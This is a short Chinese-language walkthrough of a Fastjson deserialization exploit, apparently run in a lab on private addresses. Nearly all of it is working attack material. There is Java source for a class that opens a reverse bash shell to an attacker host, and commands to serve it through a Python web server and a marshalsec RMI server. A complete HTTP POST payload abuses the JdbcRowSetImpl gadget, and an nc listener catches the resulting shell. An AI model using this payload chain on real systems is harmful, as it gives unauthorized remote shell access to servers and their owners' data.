1、首先访问一下目标网址是否正常
2、编译java攻击载荷,此代码为反弹shell
// javac exp.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt =Runtime.getRuntime();
String[]commands = {"/bin/bash","-c","bash -i >&/dev/tcp/192.168.124.129/6666 0>&1"};
Process pc =rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3、在使用远程服务器开启web服务器,使得编译的文件能够被下载。
这里使用py来开启python -mSimpleHTTPServer 8080
访问目录,发现了文件
4、再启动rmi服务,远程加载刚才开启的web服务
这里使用了marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。
mvn cleanpackage -DskipTests
编译完成后,再进行开启:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer "http://192.168.124.133:8080/#exp" 9999
5、对目标站点发送payload
Payload:
POST / HTTP/1.1
Host: 192.168.124.145:8090
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 261
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.124.133:9999/exp",
"autoCommit":true
}
}
在主机上进行监听6666端口,命令如下:
Nc -lvvp6666
发送payload后得到了shell